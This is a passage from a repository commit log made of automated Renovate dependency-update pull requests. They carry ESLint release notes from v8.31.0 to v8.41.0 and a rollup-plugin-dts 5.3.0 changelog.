[`b68346b`](b68346b290)
docs: fix license to reflect relicensing of jshint
([#&#8203;17165](https://togithub.com/eslint/eslint/issues/17165))
(Stefan Bischof)

#### Chores

-
[`f43216a`](f43216a8c7)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).41.0
([#&#8203;17200](https://togithub.com/eslint/eslint/issues/17200))
(Milos Djermanovic)
-
[`95c3007`](95c300780a)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`ddc5291`](ddc5291deb)
chore: don't use deprecated `context` methods in `ast-utils` tests
([#&#8203;17194](https://togithub.com/eslint/eslint/issues/17194))
(Milos Djermanovic)
-
[`b1516db`](b1516db515)
chore: Fix return type of `findFlatConfigFile`
([#&#8203;17161](https://togithub.com/eslint/eslint/issues/17161))
(Milos Djermanovic)
-
[`918b0fd`](918b0fd217)
perf: Store indent descriptors in a plain array
([#&#8203;17148](https://togithub.com/eslint/eslint/issues/17148))
(Francesco Trotta)
-
[`4caa344`](4caa344495)
refactor: locateConfigFileToUse returns an Error object
([#&#8203;17159](https://togithub.com/eslint/eslint/issues/17159)) (唯然)

### [`v8.40.0`](https://togithub.com/eslint/eslint/releases/tag/v8.40.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.39.0...v8.40.0)

#### Features

-
[`5db7808`](5db7808139)
feat: improve flat config errors for invalid rule options and severities
([#&#8203;17140](https://togithub.com/eslint/eslint/issues/17140)) (Josh
Goldberg )
-
[`f5574dc`](f5574dc739)
feat: Add findConfigFile() method to FlatESLint
([#&#8203;17142](https://togithub.com/eslint/eslint/issues/17142))
(Nicholas C. Zakas)
-
[`e52b98b`](e52b98bf25)
feat: add `sourceCode` property to the rule context
([#&#8203;17107](https://togithub.com/eslint/eslint/issues/17107))
(Nitin Kumar)
-
[`1468f5b`](1468f5b640)
feat: add `physicalFilename` property to the rule context
([#&#8203;17111](https://togithub.com/eslint/eslint/issues/17111))
(Nitin Kumar)
-
[`0df4d4f`](0df4d4f658)
feat: add `cwd` to rule context
([#&#8203;17106](https://togithub.com/eslint/eslint/issues/17106))
(Nitin Kumar)
-
[`52018f2`](52018f21c1)
feat: add `filename` property to the rule context
([#&#8203;17108](https://togithub.com/eslint/eslint/issues/17108))
(Nitin Kumar)
-
[`559ff4e`](559ff4e4bc)
feat: add new `omitLastInOneLineClassBody` option to the `semi` rule
([#&#8203;17105](https://togithub.com/eslint/eslint/issues/17105))
(Nitin Kumar)

#### Bug Fixes

-
[`f076e54`](f076e54ecd)
fix: Ensure FlatESLint#findConfigFile() doesn't throw.
([#&#8203;17151](https://togithub.com/eslint/eslint/issues/17151))
(Nicholas C. Zakas)

#### Documentation

-
[`e980bf3`](e980bf38cf)
docs: Update README (GitHub Actions Bot)
-
[`e92a6fc`](e92a6fc7ed)
docs: Update README (GitHub Actions Bot)
-
[`af5fe64`](af5fe64c39)
docs: Fix custom rule schema docs
([#&#8203;17115](https://togithub.com/eslint/eslint/issues/17115)) (Adam
Jones)
-
[`4a352a9`](4a352a957b)
docs: explain how to include predefined globals
([#&#8203;17114](https://togithub.com/eslint/eslint/issues/17114))
(Marcus Wyatt)
-
[`5ea15d9`](5ea15d92ee)
docs: add mastodon link in readme
([#&#8203;17110](https://togithub.com/eslint/eslint/issues/17110)) (唯然)

#### Chores

-
[`4053004`](4053004c95)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).40.0
([#&#8203;17156](https://togithub.com/eslint/eslint/issues/17156))
(Milos Djermanovic)
-
[`50fed1d`](50fed1da44)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`4c7a170`](4c7a170b04)
chore: upgrade
[@&#8203;eslint/eslintrc](https://togithub.com/eslint/eslintrc)[@&#8203;2](https://togithub.com/2).0.3
([#&#8203;17155](https://togithub.com/eslint/eslint/issues/17155))
(Milos Djermanovic)
-
[`e80b7cc`](e80b7cce64)
chore: upgrade espree@9.5.2
([#&#8203;17154](https://togithub.com/eslint/eslint/issues/17154))
(Milos Djermanovic)
-
[`ce3ac91`](ce3ac91b51)
chore: upgrade eslint-visitor-keys@3.4.1
([#&#8203;17153](https://togithub.com/eslint/eslint/issues/17153))
(Milos Djermanovic)
-
[`9094d79`](9094d79fb4)
chore: add `latest/` to `meta.docs.url` in all core rules
([#&#8203;17136](https://togithub.com/eslint/eslint/issues/17136))
(Milos Djermanovic)
-
[`d85efad`](d85efad655)
perf: don't use `grapheme-splitter` on ASCII strings in key-spacing rule
([#&#8203;17122](https://togithub.com/eslint/eslint/issues/17122))
(Milos Djermanovic)

### [`v8.39.0`](https://togithub.com/eslint/eslint/releases/tag/v8.39.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.38.0...v8.39.0)

##### Features

-
[`3f7af9f`](3f7af9f408)
feat: Implement `SourceCode#markVariableAsUsed()`
([#&#8203;17086](https://togithub.com/eslint/eslint/issues/17086))
(Nicholas C. Zakas)

##### Documentation

-
[`6987dc5`](6987dc59e4)
docs: Fix formatting in Custom Rules docs
([#&#8203;17097](https://togithub.com/eslint/eslint/issues/17097))
(Milos Djermanovic)
-
[`4ee92e5`](4ee92e5cbd)
docs: Update README (GitHub Actions Bot)
-
[`d8e9887`](d8e9887c2c)
docs: Custom Rules cleanup/expansion
([#&#8203;16906](https://togithub.com/eslint/eslint/issues/16906)) (Ben
Perlmutter)
-
[`1fea279`](1fea279780)
docs: Clarify how to add to tsc agenda
([#&#8203;17084](https://togithub.com/eslint/eslint/issues/17084))
(Nicholas C. Zakas)
-
[`970ef1c`](970ef1c868)
docs: Update triage board location (Nicholas C. Zakas)
-
[`6d8bffd`](6d8bffdf45)
docs: Update README (GitHub Actions Bot)

##### Chores

-
[`60a6f26`](60a6f2694d)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).39.0
([#&#8203;17102](https://togithub.com/eslint/eslint/issues/17102))
(Milos Djermanovic)
-
[`d5ba5c0`](d5ba5c0a85)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`f57eff2`](f57eff20f5)
ci: run tests on Node.js v20
([#&#8203;17093](https://togithub.com/eslint/eslint/issues/17093))
(Nitin Kumar)
-
[`9d1b8fc`](9d1b8fc60c)
perf: Binary search in token store `utils.search`
([#&#8203;17066](https://togithub.com/eslint/eslint/issues/17066))
(Francesco Trotta)
-
[`07a4435`](07a4435a0c)
chore: Add request for minimal repro to bug report
([#&#8203;17081](https://togithub.com/eslint/eslint/issues/17081))
(Nicholas C. Zakas)
-
[`eac4943`](eac4943ba2)
refactor: remove unnecessary use of `SourceCode#getAncestors` in rules
([#&#8203;17075](https://togithub.com/eslint/eslint/issues/17075))
(Milos Djermanovic)
-
[`0a7b60a`](0a7b60a9d5)
chore: update description of `SourceCode#getDeclaredVariables`
([#&#8203;17072](https://togithub.com/eslint/eslint/issues/17072))
(Milos Djermanovic)
-
[`6e2df71`](6e2df71cc3)
chore: remove unnecessary references to the LICENSE file
([#&#8203;17071](https://togithub.com/eslint/eslint/issues/17071))
(Milos Djermanovic)

### [`v8.38.0`](https://togithub.com/eslint/eslint/releases/tag/v8.38.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.37.0...v8.38.0)

#### Features

-
[`a1d561d`](a1d561d18e)
feat: Move getDeclaredVariables and getAncestors to SourceCode
([#&#8203;17059](https://togithub.com/eslint/eslint/issues/17059))
(Nicholas C. Zakas)

#### Bug Fixes

-
[`1c1ece2`](1c1ece26d1)
fix: do not report on `RegExp(...args)` in `require-unicode-regexp`
([#&#8203;17037](https://togithub.com/eslint/eslint/issues/17037))
(Francesco Trotta)

#### Documentation

-
[`7162d34`](7162d34df9)
docs: Mention new config system is complete
([#&#8203;17068](https://togithub.com/eslint/eslint/issues/17068))
(Nicholas C. Zakas)
-
[`0fd6bb2`](0fd6bb213a)
docs: Update README (GitHub Actions Bot)
-
[`c83531c`](c83531c1a6)
docs: Update/remove external links, eg. point to `eslint-community`
([#&#8203;17061](https://togithub.com/eslint/eslint/issues/17061))
(Pelle Wessman)
-
[`a3aa6f5`](a3aa6f5f14)
docs: Clarify `no-div-regex` rule docs
([#&#8203;17051](https://togithub.com/eslint/eslint/issues/17051))
(Francesco Trotta)
-
[`b0f11cf`](b0f11cf977)
docs: Update README (GitHub Actions Bot)
-
[`da8d52a`](da8d52a9d4)
docs: Update the second object instance for the "no-new" rule
([#&#8203;17020](https://togithub.com/eslint/eslint/issues/17020))
(Ahmadou Waly NDIAYE)
-
[`518130a`](518130ae79)
docs: switch language based on current path
([#&#8203;16687](https://togithub.com/eslint/eslint/issues/16687))
(Percy Ma)
-
[`24206c4`](24206c49a1)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`59ed060`](59ed06041d)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).38.0
([#&#8203;17069](https://togithub.com/eslint/eslint/issues/17069))
(Milos Djermanovic)
-
[`88c0898`](88c08984ec)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`cf682d2`](cf682d249f)
refactor: simplify new-parens rule schema
([#&#8203;17060](https://togithub.com/eslint/eslint/issues/17060)) (MHO)
-
[`0dde022`](0dde022112)
ci: bump actions/add-to-project from 0.4.1 to 0.5.0
([#&#8203;17055](https://togithub.com/eslint/eslint/issues/17055))
(dependabot\[bot])

### [`v8.37.0`](https://togithub.com/eslint/eslint/releases/tag/v8.37.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.36.0...v8.37.0)

#### Features

-
[`b6ab8b2`](b6ab8b2a2c)
feat: `require-unicode-regexp` add suggestions
([#&#8203;17007](https://togithub.com/eslint/eslint/issues/17007)) (Josh
Goldberg)
-
[`10022b1`](10022b1f4b)
feat: Copy getScope() to SourceCode
([#&#8203;17004](https://togithub.com/eslint/eslint/issues/17004))
(Nicholas C. Zakas)
-
[`1665c02`](1665c029ac)
feat: Use plugin metadata for flat config serialization
([#&#8203;16992](https://togithub.com/eslint/eslint/issues/16992))
(Nicholas C. Zakas)
-
[`b3634f6`](b3634f695d)
feat: docs license
([#&#8203;17010](https://togithub.com/eslint/eslint/issues/17010))
(Samuel Roldan)
-
[`892e6e5`](892e6e58c5)
feat: languageOptions.parser must be an object.
([#&#8203;16985](https://togithub.com/eslint/eslint/issues/16985))
(Nicholas C. Zakas)

#### Bug Fixes

-
[`619f3fd`](619f3fd173)
fix: correctly handle `null` default config in `RuleTester`
([#&#8203;17023](https://togithub.com/eslint/eslint/issues/17023)) (Brad
Zacher)
-
[`1fbf118`](1fbf1184fe)
fix: `getFirstToken`/`getLastToken` on comment-only node
([#&#8203;16889](https://togithub.com/eslint/eslint/issues/16889))
(Francesco Trotta)
-
[`129e252`](129e252132)
fix: Fix typo in `logical-assignment-operators` rule description
([#&#8203;17000](https://togithub.com/eslint/eslint/issues/17000))
(Francesco Trotta)

#### Documentation

-
[`75339df`](75339df994)
docs: fix typos and missing info in id-match docs
([#&#8203;17029](https://togithub.com/eslint/eslint/issues/17029)) (Ed
Lucas)
-
[`ec2d830`](ec2d830785)
docs: Fix typos in the `semi` rule docs
([#&#8203;17012](https://togithub.com/eslint/eslint/issues/17012))
(Andrii Lundiak)
-
[`e39f28d`](e39f28d857)
docs: add back to top button
([#&#8203;16979](https://togithub.com/eslint/eslint/issues/16979))
(Tanuj Kanti)
-
[`721c717`](721c71782a)
docs: Custom Processors cleanup and expansion
([#&#8203;16838](https://togithub.com/eslint/eslint/issues/16838)) (Ben
Perlmutter)
-
[`d049f97`](d049f97410)
docs: 'How ESLint is Maintained' page
([#&#8203;16961](https://togithub.com/eslint/eslint/issues/16961)) (Ben
Perlmutter)
-
[`5251a92`](5251a92186)
docs: Describe guard options for guard-for-in
([#&#8203;16986](https://togithub.com/eslint/eslint/issues/16986))
(alope107)
-
[`6157d81`](6157d813e1)
docs: Add example to guard-for-in docs.
([#&#8203;16983](https://togithub.com/eslint/eslint/issues/16983))
(alope107)
-
[`fd47998`](fd47998af6)
docs: update `Array.prototype.toSorted` specification link
([#&#8203;16982](https://togithub.com/eslint/eslint/issues/16982))
(Milos Djermanovic)
-
[`3e1cf6b`](3e1cf6bfc5)
docs: Copy edits on Maintain ESLint docs
([#&#8203;16939](https://togithub.com/eslint/eslint/issues/16939)) (Ben
Perlmutter)

#### Chores

-
[`c67f299`](c67f2992a7)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).37.0
([#&#8203;17033](https://togithub.com/eslint/eslint/issues/17033))
(Milos Djermanovic)
-
[`ee9ddbd`](ee9ddbd63e)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`dddb475`](dddb475288)
chore: upgrade
[@&#8203;eslint/eslintrc](https://togithub.com/eslint/eslintrc)[@&#8203;2](https://togithub.com/2).0.2
([#&#8203;17032](https://togithub.com/eslint/eslint/issues/17032))
(Milos Djermanovic)
-
[`522431e`](522431e520)
chore: upgrade espree@9.5.1
([#&#8203;17031](https://togithub.com/eslint/eslint/issues/17031))
(Milos Djermanovic)
-
[`f5f9a88`](f5f9a88c79)
chore: upgrade eslint-visitor-keys@3.4.0
([#&#8203;17030](https://togithub.com/eslint/eslint/issues/17030))
(Milos Djermanovic)
-
[`4dd8d52`](4dd8d524e0)
ci: bump actions/stale from 7 to 8
([#&#8203;17026](https://togithub.com/eslint/eslint/issues/17026))
(dependabot\[bot])
-
[`ad9dd6a`](ad9dd6a933)
chore: remove duplicate scss,
([#&#8203;17005](https://togithub.com/eslint/eslint/issues/17005))
(Strek)
-
[`ada6a3e`](ada6a3e6e3)
ci: unpin Node 19
([#&#8203;16993](https://togithub.com/eslint/eslint/issues/16993))
(Milos Djermanovic)
-
[`c3da975`](c3da975e69)
chore: Remove triage label from template
([#&#8203;16990](https://togithub.com/eslint/eslint/issues/16990))
(Nicholas C. Zakas)
-
[`69bc0e2`](69bc0e2f44)
ci: pin Node 19 to 19.7.0
([#&#8203;16987](https://togithub.com/eslint/eslint/issues/16987))
(Milos Djermanovic)

### [`v8.36.0`](https://togithub.com/eslint/eslint/releases/tag/v8.36.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.35.0...v8.36.0)

#### Features

-
[`c89a485`](c89a485c49)
feat: Add `checkJSDoc` option to multiline-comment-style
([#&#8203;16807](https://togithub.com/eslint/eslint/issues/16807))
(Laurent Cozic)
-
[`f5f5e11`](f5f5e11bd5)
feat: Serialize parsers/processors in flat config
([#&#8203;16944](https://togithub.com/eslint/eslint/issues/16944))
(Nicholas C. Zakas)
-
[`4799297`](4799297ea5)
feat: use
[@&#8203;eslint-community](https://togithub.com/eslint-community)
dependencies
([#&#8203;16784](https://togithub.com/eslint/eslint/issues/16784))
(Michaël De Boey)

#### Bug Fixes

-
[`92c1943`](92c1943ba7)
fix: correctly iterate files matched by glob patterns
([#&#8203;16831](https://togithub.com/eslint/eslint/issues/16831))
(Nitin Kumar)

#### Documentation

-
[`b98fdd4`](b98fdd413a)
docs: Update README (GitHub Actions Bot)
-
[`caf08ce`](caf08ce0cc)
docs: fix estree link in custom formatters docs
([#&#8203;16967](https://togithub.com/eslint/eslint/issues/16967))
(Milos Djermanovic)
-
[`3398431`](3398431574)
docs: Custom Parsers cleanup/expansion
([#&#8203;16887](https://togithub.com/eslint/eslint/issues/16887)) (Ben
Perlmutter)
-
[`19d3531`](19d3531d9b)
docs: Update README (GitHub Actions Bot)
-
[`b09a512`](b09a512107)
docs: detect and fix broken links
([#&#8203;16837](https://togithub.com/eslint/eslint/issues/16837))
(Nitin Kumar)

#### Chores

-
[`602b111`](602b111219)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).36.0
([#&#8203;16978](https://togithub.com/eslint/eslint/issues/16978))
(Milos Djermanovic)
-
[`43c2345`](43c2345c27)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`00afb84`](00afb84e50)
chore: upgrade
[@&#8203;eslint/eslintrc](https://togithub.com/eslint/eslintrc)[@&#8203;2](https://togithub.com/2).0.1
([#&#8203;16977](https://togithub.com/eslint/eslint/issues/16977))
(Milos Djermanovic)
-
[`698c5aa`](698c5aad50)
chore: upgrade espree@9.5.0
([#&#8203;16976](https://togithub.com/eslint/eslint/issues/16976))
(Milos Djermanovic)
-
[`75acdd2`](75acdd21c5)
chore: lint more js files in docs
([#&#8203;16964](https://togithub.com/eslint/eslint/issues/16964))
(Milos Djermanovic)
-
[`89d9844`](89d9844b31)
ci: bump actions/add-to-project from 0.4.0 to 0.4.1
([#&#8203;16943](https://togithub.com/eslint/eslint/issues/16943))
(dependabot\[bot])

### [`v8.35.0`](https://togithub.com/eslint/eslint/releases/tag/v8.35.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.34.0...v8.35.0)

#### Features

-
[`8e34a04`](8e34a04e3a)
feat: add `afterHashbangComment` option to `lines-around-comment` rule
([#&#8203;16920](https://togithub.com/eslint/eslint/issues/16920))
(SUZUKI Sosuke)
-
[`c8c0c71`](c8c0c715a2)
feat: Move all and recommended configs into package.
([#&#8203;16844](https://togithub.com/eslint/eslint/issues/16844))
(Nicholas C. Zakas)
-
[`71f6f0d`](71f6f0dcd5)
feat: report more cases with `??` in no-constant-binary-expression
([#&#8203;16826](https://togithub.com/eslint/eslint/issues/16826))
(Daiki Nishikawa)

#### Bug Fixes

-
[`9698bc5`](9698bc5cde)
fix: pin esquery v1.4.0 (fixes
[#&#8203;16896](https://togithub.com/eslint/eslint/issues/16896))
([#&#8203;16897](https://togithub.com/eslint/eslint/issues/16897)) (唯然)

#### Documentation

-
[`f9f195e`](f9f195ef12)
docs: Plugin docs cleanup & expansion
([#&#8203;16862](https://togithub.com/eslint/eslint/issues/16862)) (Ben
Perlmutter)
-
[`df809fd`](df809fdedc)
docs: Custom Formatters page cleanup/expansion
([#&#8203;16886](https://togithub.com/eslint/eslint/issues/16886)) (Ben
Perlmutter)
-
[`0700d1b`](0700d1b146)
docs: Add PostCSS/Autoprefixer/CSSNano
([#&#8203;16502](https://togithub.com/eslint/eslint/issues/16502)) (Nick
Schonning)
-
[`7b9e9bf`](7b9e9bf78b)
docs: support unicode anchors
([#&#8203;16782](https://togithub.com/eslint/eslint/issues/16782))
(Percy Ma)
-
[`5fbc0bf`](5fbc0bffdd)
docs: Update README (GitHub Actions Bot)
-
[`67865a0`](67865a064c)
docs: Remove mention of mailing list
([#&#8203;16869](https://togithub.com/eslint/eslint/issues/16869))
(Amaresh S M)
-
[`43af24a`](43af24a88b)
docs: Add explanation of when to use 'warn' severity
([#&#8203;16882](https://togithub.com/eslint/eslint/issues/16882))
(Nicholas C. Zakas)
-
[`ed2999b`](ed2999b38b)
docs: Shareable configs page edits and expansion
([#&#8203;16824](https://togithub.com/eslint/eslint/issues/16824)) (Ben
Perlmutter)
-
[`2780635`](27806358b5)
docs: fix typos
([#&#8203;16884](https://togithub.com/eslint/eslint/issues/16884))
(Lioness100)
-
[`5bdaae2`](5bdaae205c)
docs: Ways to Extend ESLint page
([#&#8203;16861](https://togithub.com/eslint/eslint/issues/16861)) (Ben
Perlmutter)

#### Chores

-
[`cdcbe12`](cdcbe127de)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).35.0
([#&#8203;16935](https://togithub.com/eslint/eslint/issues/16935))
(Brandon Mills)
-
[`c954c34`](c954c349c0)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`5a517da`](5a517da8e5)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`9f10926`](9f10926d76)
chore: upgrade
[@&#8203;eslint/eslintrc](https://togithub.com/eslint/eslintrc)[@&#8203;2](https://togithub.com/2).0.0
([#&#8203;16928](https://togithub.com/eslint/eslint/issues/16928))
(Milos Djermanovic)
-
[`da728fa`](da728fae6c)
ci: use LTS node version in workflows
([#&#8203;16907](https://togithub.com/eslint/eslint/issues/16907))
(Nitin Kumar)
-
[`c57b4f3`](c57b4f3dc6)
perf: upgrade to esquery@1.4.2
([#&#8203;16901](https://togithub.com/eslint/eslint/issues/16901))
(Milos Djermanovic)
-
[`9122f07`](9122f07640)
chore: Update stale bot settings
([#&#8203;16870](https://togithub.com/eslint/eslint/issues/16870))
(Nicholas C. Zakas)

### [`v8.34.0`](https://togithub.com/eslint/eslint/releases/tag/v8.34.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.33.0...v8.34.0)

#### Features

-
[`9b2fcf7`](9b2fcf7e92)
feat: `array-callback-return` supports `Array.prototype.toSorted`
([#&#8203;16845](https://togithub.com/eslint/eslint/issues/16845))
(SUZUKI Sosuke)

#### Bug Fixes

-
[`923f61d`](923f61d8fc)
fix: false positive with assignment in `no-extra-parens`
([#&#8203;16872](https://togithub.com/eslint/eslint/issues/16872))
(Francesco Trotta)

#### Documentation

-
[`f0a9883`](f0a988384e)
docs: split rules documentation
([#&#8203;16797](https://togithub.com/eslint/eslint/issues/16797)) (Ben
Perlmutter)
-
[`67aa37b`](67aa37b583)
docs: fix typo in command-line-interface.md
([#&#8203;16871](https://togithub.com/eslint/eslint/issues/16871))
(Kevin Rouchut)
-
[`337f7ed`](337f7ed961)
docs: fix width of language input
([#&#8203;16849](https://togithub.com/eslint/eslint/issues/16849))
(Tanuj Kanti)
-
[`71349a1`](71349a1f70)
docs: Configure a Parser page
([#&#8203;16803](https://togithub.com/eslint/eslint/issues/16803)) (Ben
Perlmutter)
-
[`de7e925`](de7e925d03)
docs: remove extra line numbers in example
([#&#8203;16848](https://togithub.com/eslint/eslint/issues/16848))
(jonz94)
-
[`ad38d77`](ad38d77102)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`9dbe06d`](9dbe06d0ad)
chore: add `type` property to array-element-newline schema
([#&#8203;16877](https://togithub.com/eslint/eslint/issues/16877)) (MHO)
-
[`a061527`](a061527a03)
chore: Remove unused functions
([#&#8203;16868](https://togithub.com/eslint/eslint/issues/16868))
(Nicholas C. Zakas)

### [`v8.33.0`](https://togithub.com/eslint/eslint/releases/tag/v8.33.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.32.0...v8.33.0)

#### Features

-
[`2cc7954`](2cc7954cdb)
feat: add `restrictDefaultExports` option to no-restricted-exports rule
([#&#8203;16785](https://togithub.com/eslint/eslint/issues/16785))
(Nitin Kumar)

#### Documentation

-
[`17f4be2`](17f4be2b66)
docs: Fix examples in no-multiple-empty-lines rule
([#&#8203;16835](https://togithub.com/eslint/eslint/issues/16835))
(jonz94)
-
[`9c7cfe3`](9c7cfe33c4)
docs: 'Source Code' content in 'Set up Development Environment' page
([#&#8203;16780](https://togithub.com/eslint/eslint/issues/16780)) (Ben
Perlmutter)
-
[`ede5c64`](ede5c64754)
docs: Custom processors page
([#&#8203;16802](https://togithub.com/eslint/eslint/issues/16802)) (Ben
Perlmutter)
-
[`2620614`](2620614f52)
docs: Code of Conduct page
([#&#8203;16781](https://togithub.com/eslint/eslint/issues/16781)) (Ben
Perlmutter)
-
[`50a8efd`](50a8efd957)
docs: report a sec vulnerability page
([#&#8203;16808](https://togithub.com/eslint/eslint/issues/16808)) (Ben
Perlmutter)
-
[`ed60afd`](ed60afd445)
docs: Update page titles, section landing pages, and side TOC
([#&#8203;16760](https://togithub.com/eslint/eslint/issues/16760)) (Ben
Perlmutter)
-
[`333c712`](333c712435)
docs: add background to code-path-diagrams for dark-mode
([#&#8203;16822](https://togithub.com/eslint/eslint/issues/16822))
(Tanuj Kanti)
-
[`f5f7b9b`](f5f7b9b8b5)
docs: Update README (GitHub Actions Bot)
-
[`2aa4f5f`](2aa4f5fb2f)
docs: no-constant-condition: Add multi-comparison example
([#&#8203;16776](https://togithub.com/eslint/eslint/issues/16776))
(Sebastian Simon)
-
[`40287db`](40287dbe74)
docs: Remove Google Group icon
([#&#8203;16779](https://togithub.com/eslint/eslint/issues/16779))
(Nicholas C. Zakas)
-
[`ea10ca5`](ea10ca5b7b)
docs: 'a .eslint' -> 'an .eslint' for consistency
([#&#8203;16809](https://togithub.com/eslint/eslint/issues/16809)) (Ben
Perlmutter)
-
[`3be0748`](3be07488ee)
docs: add example for nodejs lintText api
([#&#8203;16789](https://togithub.com/eslint/eslint/issues/16789)) (Siva
K)
-
[`ce4f5ff`](ce4f5ff305)
docs: Replace removed related rules with a valid rule
([#&#8203;16800](https://togithub.com/eslint/eslint/issues/16800))
(Ville Saalo)

### [`v8.32.0`](https://togithub.com/eslint/eslint/releases/tag/v8.32.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.31.0...v8.32.0)

#### Features

-
[`fc20f24`](fc20f242a2)
feat: add suggestions for redundant wrapping in prefer-regex-literals
([#&#8203;16658](https://togithub.com/eslint/eslint/issues/16658))
(YeonJuan)

#### Bug Fixes

-
[`b4f8329`](b4f8329164)
fix: ignore directives for no-fallthrough
([#&#8203;16757](https://togithub.com/eslint/eslint/issues/16757))
(gfyoung)

#### Documentation

-
[`17b65ad`](17b65ad10d)
docs: IA Update page URL move
([#&#8203;16665](https://togithub.com/eslint/eslint/issues/16665)) (Ben
Perlmutter)
-
[`5981296`](5981296d5c)
docs: fix theme switcher button
([#&#8203;16752](https://togithub.com/eslint/eslint/issues/16752)) (Sam
Chen)
-
[`6669413`](66694136b6)
docs: deploy prerelease docs under the `/docs/next/` path
([#&#8203;16541](https://togithub.com/eslint/eslint/issues/16541))
(Nitin Kumar)
-
[`78ecfe0`](78ecfe0e52)
docs: use inline code for rule options name
([#&#8203;16768](https://togithub.com/eslint/eslint/issues/16768))
(Percy Ma)
-
[`fc2ea59`](fc2ea598ae)
docs: Update README (GitHub Actions Bot)
-
[`762a872`](762a8727fb)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`2952d6e`](2952d6ed95)
chore: sync templates/\*.md files with issue templates
([#&#8203;16758](https://togithub.com/eslint/eslint/issues/16758))
(gfyoung)
-
[`3e34418`](3e34418b31)
chore: Add new issues to triage project
([#&#8203;16740](https://togithub.com/eslint/eslint/issues/16740))
(Nicholas C. Zakas)

### [`v8.31.0`](https://togithub.com/eslint/eslint/releases/tag/v8.31.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.30.0...v8.31.0)

#### Features

-
[`52c7c73`](52c7c73c05)
feat: check assignment patterns in no-underscore-dangle
([#&#8203;16693](https://togithub.com/eslin

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTcuMyIsInVwZGF0ZWRJblZlciI6IjM2LjExLjAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-21 14:29:52 -04:00
renovate[bot] d862ab35b1
chore(deps): update dependency rollup-plugin-dts to v5.3.0 (#479)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup-plugin-dts](https://togithub.com/Swatinem/rollup-plugin-dts) |
[`5.2.0` ->
`5.3.0`](https://renovatebot.com/diffs/npm/rollup-plugin-dts/5.2.0/5.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup-plugin-dts/5.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup-plugin-dts/5.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup-plugin-dts/5.2.0/5.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup-plugin-dts/5.2.0/5.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>Swatinem/rollup-plugin-dts (rollup-plugin-dts)</summary>

###
[`v5.3.0`](https://togithub.com/Swatinem/rollup-plugin-dts/blob/HEAD/CHANGELOG.md#530)

[Compare
Source](https://togithub.com/Swatinem/rollup-plugin-dts/compare/v5.2.0...v5.3.0)

**Compatibility Notice**:

This release supports **TypeScript 5.0**.

**Fixes**:

-   Allow to use same resolve method as defined in `tsconfig`.
-   Add support for `.d.cts` and `.d.mts` files.
-   Fix `declare` modifiers of enums.

**Thank you**:

Features, fixes and improvements in this release have been contributed
by:

-   [@&#8203;remcovaes](https://togithub.com/remcovaes)
-   [@&#8203;Comandeer](https://togithub.com/Comandeer)
-   [@&#8203;hyrious](https://togithub.com/hyrious)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

